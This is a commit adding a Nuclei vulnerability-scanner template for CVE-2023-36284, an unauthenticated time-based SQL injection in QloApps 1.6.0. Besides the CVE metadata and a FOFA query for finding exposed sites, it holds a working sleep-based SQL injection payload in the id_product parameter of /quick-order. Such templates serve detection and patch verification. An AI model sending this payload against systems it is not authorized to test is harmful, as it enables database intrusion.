Create CVE-2023-36284.yaml

http/cves/CVE-2023-36284.yaml

@@ -0,0 +1,59 @@
+id: CVE-2023-36284
+
+info:
+  name: QloApps 1.6.0 - SQL Injection
+  author: ritikchaddha
+  severity: high
+  description: |
+    An unauthenticated Time-Based SQL injection found in Webkul QloApps 1.6.0 via GET parameters date_from, date_to, and id_product allows a remote attacker to retrieve the contents of an entire database.
+  impact: |
+    Successful exploitation could lead to unauthorized access to sensitive data.
+  remediation: |
+    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
+  reference:
+    - https://flashy-lemonade-192.notion.site/Time-Based-SQL-injection-in-QloApps-1-6-0-be3ed1bdaf784a77b45dc6898a2de17e
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-36284
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2023-36284
+    cwe-id: CWE-89
+    epss-score: 0.00061
+    epss-percentile: 0.24798
+    cpe: cpe:2.3:a:webkul:qloapps:1.6.0:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    verified: true
+    vendor: webkul
+    product: qloapps
+    fofa-query: title="QloApps"
+  tags: cve,cve2023,qloapps,sqli
+
+flow: http(1) && http(2)
+
+http:
+  - raw:
+      - |
+        GET / HTTP/2
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: body
+        internal: true
+        words:
+          - "QloApps"
+        case-insensitive: true
+
+  - raw:
+      - |
+        @timeout: 20s
+        GET /quick-order?date_from=2023-06-12%2000:00:00&date_to=2023-06-13%2000:00:00&deleteFromOrderLine=1&id_product=(select(0)from(select(sleep(5)))v) HTTP/2
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - duration>=5
+          - 'contains(body, "<span>Guest Information")'
+        condition: and